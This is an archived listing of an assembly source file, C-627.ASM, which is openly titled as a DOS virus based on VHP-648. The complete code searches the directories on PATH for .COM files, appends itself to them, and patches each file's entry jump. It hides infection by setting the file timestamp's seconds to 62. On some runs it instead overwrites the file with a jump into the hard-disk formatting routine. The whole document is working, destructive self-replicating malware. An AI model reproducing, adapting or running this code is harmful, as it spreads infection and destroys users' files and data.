home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / C-627.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  11KB  |  331 lines

  1.       name       Virus
  2.       title      Virus; based on the famous VHP-648 virus
  3.      .radix      16
  4.       code       segment
  5.       assume     cs:code,ds:code
  6.       org        100
  7. environ equ      2C
  8.  
  9. start:
  10.       jmp      virus
  11.       int      20
  12.  
  13. data label byte                 ;Data section
  14. dtaaddr    dd      ?            ;Disk Transfer Address
  15. ftime      dw      ?            ;File date
  16. fdate      dw      ?            ;File time
  17. fattrib    dw      ?            ;File attribute
  18. saveins    db      3 dup (90)   ;Original first 3 bytes
  19. newjmp     db      0E9          ;Code of jmp instruction
  20. codeptr    dw      ?            ;Here is formed a jump to virus code
  21. allcom     db      '*.COM',0    ;Filespec to search for
  22. poffs      dw      ?            ;Address of 'PATH' string
  23. eqoffs     dw      ?            ;Address of '=' sign
  24. pathstr    db      'PATH='
  25. fname      db      40 dup (' ') ;Path name to search for
  26.  
  27. ;Disk Transfer Address for Find First / Find Next:
  28.  
  29. mydta label byte
  30. drive      db      ?            ;Drive to search for
  31. pattern    db      13d dup (?)  ;Search pattern
  32. reserve    db      7 dup (?)    ;Not used
  33. attrib     db      ?            ;File attribute
  34. time       dw      ?            ;File time
  35. date       dw      ?            ;File date
  36. fsize      dd      ?            ;File size
  37. namez      db      13d dup (?)  ;File name found
  38.  
  39. ;This replaces the first instruction of a destroyed file.
  40. ;It's a jmp instruction into the hard disk formatting program (IBM XT only):
  41.  
  42. bad_jmp    db      0EA,0,0,0,0C8
  43. errhnd     dd      ?
  44.  
  45. virus:
  46.       push      cx               ;Save CX
  47.       mov       dx,offset data   ;Restore original first instruction
  48. modify      equ      $-2         ;The instruction above is changed
  49.                                  ;before each contamination
  50.       cld
  51.       mov      si,dx
  52.       add      si,saveins-data   ;Instruction saved there
  53.       mov      di,offset start
  54.       mov      cx,3              ;Move 3 bytes
  55.       rep      movsb             ;Do it
  56.       mov      si,dx             ;Keep SI pointed at data
  57.  
  58.       mov      ah,30             ;Get DOS version
  59.       int      21
  60.       cmp      al,0              ;Less than 2.0?
  61.       jne      skip1
  62.       jmp      exit              ;Exit if so
  63.  
  64. skip1:
  65.       push     es                ;Save ES
  66.       mov      ah,2F             ;Get current DTA in ES:BX
  67.       int      21
  68.       mov      [si+dtaaddr-data],bx   ;Save it in dtaaddr
  69.       mov      [si+dtaaddr+2-data],es
  70.  
  71.       mov      ax,3524           ;Get interrupt 24h handler
  72.       int      21                ; and save it in errhnd
  73.       mov      [si+errhnd-data],bx
  74.       mov      [si+errhnd+2-data],es
  75.       pop      es                ;Restore ES
  76.  
  77.       mov      ax,2524           ;Set interrupt 24h handler
  78.       mov      dx,si
  79.       add      dx,handler-data
  80.       int      21
  81.  
  82.       mov      dx,mydta-data
  83.       add      dx,si
  84.       mov      ah,1A             ;Set DTA
  85.       int      21
  86.  
  87.       push     es                ;Save ES & SI
  88.       push     si
  89.       mov      es,ds:[environ]   ;Environment address
  90.       xor      di,di
  91. n_00015A:                        ;Search 'PATH' in environment
  92.       pop      si                ;Restore data offset in SI
  93.       push     si
  94.       add      si,pathstr-data
  95.       lodsb
  96.       mov      cx,8000           ;Maximum 32K in environment
  97.       repne    scasb             ;Search for first letter ('P')
  98.       mov      cx,4              ;4 letters in 'PATH'
  99. n_000169:
  100.       lodsb                      ;Search for next char
  101.       scasb
  102.       jne      n_00015A          ;If not found, search for next 'P'
  103.       loop     n_000169          ;Loop until done
  104.       pop      si                ;Restore SI & ES
  105.       pop      es
  106.  
  107.       mov      [si+poffs-data],di  ;Save 'PATH' offset in poffs
  108.       mov      bx,si               ;Point BX at data area
  109.       add      si,fname-data       ;Point SI & DI at fname
  110.       mov      di,si
  111.       jmp      short n_0001BF
  112.  
  113. n_000185:
  114.       cmp      word ptr [si+poffs-data],6C
  115.       jne      n_00018F
  116.       jmp      olddta
  117. n_00018F:
  118.       push     ds
  119.       push     si
  120.       mov      ds,es:[environ]
  121.       mov      di,si
  122.       mov      si,es:[di+poffs-data]
  123.       add      di,fname-data
  124. n_0001A1:
  125.       lodsb
  126.       cmp      al,';'
  127.       je       n_0001B0
  128.       cmp      al,0
  129.       je       n_0001AD
  130.       stosb
  131.       jmp      n_0001A1
  132. n_0001AD:
  133.       xor      si,si
  134. n_0001B0:
  135.       pop      bx
  136.       pop      ds
  137.       mov      [bx+poffs-data],si
  138.       cmp      byte ptr [di-1],'\'
  139.       je       n_0001BF
  140.       mov      al,'\'            ;Add '\' if not already present
  141.       stosb
  142.  
  143. n_0001BF:
  144.       mov      [bx+eqoffs-data],di  ;Save '=' offset in eqoffs
  145.       mov      si,bx                ;Restore data pointer in SI
  146.       add      si,allcom-data
  147.       mov      cl,6                 ;6 bytes in ASCIIZ '*.COM'
  148.       rep      movsb                ;Move '*.COM' at fname
  149.       mov      si,bx                ;Restore SI
  150.  
  151.       mov      ah,4E            ;Find first file
  152.       mov      dx,fname-data
  153.       add      dx,si
  154.       mov      cl,11b            ;Hidden, Read/Only or Normal files
  155.       int      21
  156.       jmp      short n_0001E3
  157.  
  158. findnext:
  159.       mov      ah,4F             ;Find next file
  160.       int      21
  161. n_0001E3:
  162.       jnc      n_0001E7          ;If found, try to contaminate it
  163.       jmp      n_000185          ;Otherwise search in another directory
  164.  
  165. n_0001E7:
  166.       mov      ax,[si+time-data] ;Check file time
  167.       and      al,11111b         ; (the seconds, more exactly)
  168.       cmp      al,62d/2          ;Are they 62?
  169.  
  170. ;If so, file is already contains the virus, search for another:
  171.  
  172.       je       findnext
  173.  
  174. ;Is file size greather than 64,000 bytes?
  175.  
  176.       cmp      [si+fsize-data],64000d
  177.       ja       findnext          ;If so, search for next file
  178.  
  179. ;Is file size less than 10 bytes?
  180.  
  181.       cmp      word ptr [si+fsize-data],10d
  182.       jb       findnext          ;If so, search for next file
  183.  
  184.       mov      di,[si+eqoffs-data]
  185.       push     si                ;Save SI
  186.       add      si,namez-data     ;Point SI at namez
  187. n_000209:
  188.       lodsb
  189.       stosb
  190.       cmp      al,0
  191.       jne      n_000209
  192.  
  193.       pop      si                ;Restore SI
  194.       mov      ax,4300           ;Get file attributes
  195.       mov      dx,fname-data
  196.       add      dx,si
  197.       int      21
  198.  
  199.       mov      [si+fattrib-data],cx  ;Save them in fattrib
  200.       mov      ax,4301               ;Set file attributes
  201.       and      cl,not 1              ;Turn off Read Only flag
  202.       int      21
  203.  
  204.       mov      ax,3D02               ;Open file with Read/Write access
  205.       int      21
  206.       jnc      n_00023E
  207.       jmp      oldattr               ;Exit on error
  208.  
  209. n_00023E:
  210.       mov      bx,ax                 ;Save file handle in BX
  211.       mov      ax,5700               ;Get file date & time
  212.       int      21
  213.       mov      [si+ftime-data],cx    ;Save time in ftime
  214.       mov      [si+fdate-data],dx    ;Save date in fdate
  215.  
  216.       mov      ah,2C                 ;Get system time
  217.       int      21
  218.       and      dh,111b               ;Are seconds a multiple of 8?
  219.       jnz      n_000266              ;If not, contaminate file (don't destroy):
  220.  
  221. ;Destroy file by rewriting an illegal jmp as first instruction:
  222.  
  223.       mov      ah,40                 ;Write to file handle
  224.       mov      cx,5                  ;Write 5 bytes
  225.       mov      dx,si
  226.       add      dx,bad_jmp-data       ;Write THESE bytes
  227.       int      21                    ;Do it
  228.       jmp      short oldtime         ;Exit
  229.  
  230. ;Try to contaminate file:
  231.  
  232. ;Read first instruction of the file (first 3 bytes) and save it in saveins:
  233.  
  234. n_000266:
  235.       mov      ah,3F                 ;Read from file handle
  236.       mov      cx,3                  ;Read 3 bytes
  237.       mov      dx,saveins-data       ;Put them there
  238.       add      dx,si
  239.       int      21
  240.       jc       oldtime               ;Exit on error
  241.       cmp      ax,3                  ;Are really 3 bytes read?
  242.       jne      oldtime               ;Exit if not
  243.  
  244. ;Move file pointer to end of file:
  245.  
  246.       mov      ax,4202               ;LSEEK from end of file
  247.       xor      cx,cx                 ;0 bytes from end
  248.       xor      dx,dx
  249.       int      21
  250.       jc       oldtime               ;Exit on error
  251.  
  252.       mov      cx,ax                 ;Get the value of file pointer (file size)
  253.       add      ax,virus-data-3       ;Add virus data length to get code offset
  254.       mov      [si+codeptr-data],ax  ;Save result in codeptr
  255.       inc      ch                    ;Add 100h to CX
  256.       mov      di,si
  257.       add      di,modify-data        ;A little self-modification
  258.       mov      [di],cx
  259.                               
  260.       mov      ah,40                 ;Write to file handle
  261.       mov      cx,endcode-data       ;Virus code length as bytes to be written
  262.       mov      dx,si                 ;Write from data to endcode
  263.       int      21
  264.       jc       oldtime               ;Exit on error
  265.       cmp      ax,endcode-data       ;Are all bytes written?
  266.       jne      oldtime               ;Exit if not
  267.                             
  268.       mov      ax,4200               ;LSEEK from the beginning of the file
  269.       xor      cx,cx                 ;Just at the file beginning
  270.       xor      dx,dx
  271.       int      21
  272.       jc       oldtime               ;Exit on error
  273.  
  274. ;Rewrite the first instruction of the file with a jump to the virus code:
  275.  
  276.       mov      ah,40                 ;Write to file handle
  277.       mov      cl,3                  ;3 bytes to write
  278.       mov      dx,si
  279.       add      dx,newjmp-data        ;Write THESE bytes
  280.       int      21
  281.  
  282. oldtime:
  283.       mov      dx,[si+fdate-data]    ;Restore file date
  284.       mov      cx,[si+ftime-data]    ; and time
  285.       and      cl,not 11111b
  286.       or       cl,11111b             ;Set seconds to 62 (?!)
  287.  
  288.       mov      ax,5701               ;Set file date & time
  289.       int      21
  290.       mov      ah,3E                 ;Close file handle
  291.       int      21
  292.  
  293. oldattr:
  294.       mov      ax,4301               ;Set file attributes
  295.       mov      cx,[si+fattrib-data]  ;They were saved in fattrib
  296.       mov      dx,fname-data
  297.       add      dx,si
  298.       int      21
  299.  
  300. olddta:
  301.       push     ds                    ;Save DS
  302.       mov      ah,1A                 ;Set DTA
  303.       mov      dx,[si+dtaaddr-data]  ;Restore saved DTA
  304.       mov      ds,[si+dtaaddr+2-data]
  305.       int      21
  306.  
  307.       mov      ax,2524               ;Set interrupt 24h handler
  308.       mov      dx,[si+errhnd-data]   ;Restore saved handler
  309.       mov      ds,[si+errhnd+2-data]
  310.       int      21
  311.       pop      ds                    ;Restore DS
  312.  
  313. exit:
  314.       pop      cx                    ;Restore CX
  315.       xor      ax,ax                 ;Clear registers
  316.       xor      bx,bx
  317.       xor      dx,dx
  318.       xor      si,si
  319.       mov      di,100                ;Jump to CS:100
  320.       push     di                    ; by doing funny RET
  321.       xor      di,di
  322.       ret      -1
  323.  
  324. handler:                             ;Critical error handler
  325.       mov      al,0                  ;Just ignore error
  326.       iret                           ; and return
  327.  
  328. endcode label  byte
  329.    code        ends
  330.                end      start
  331.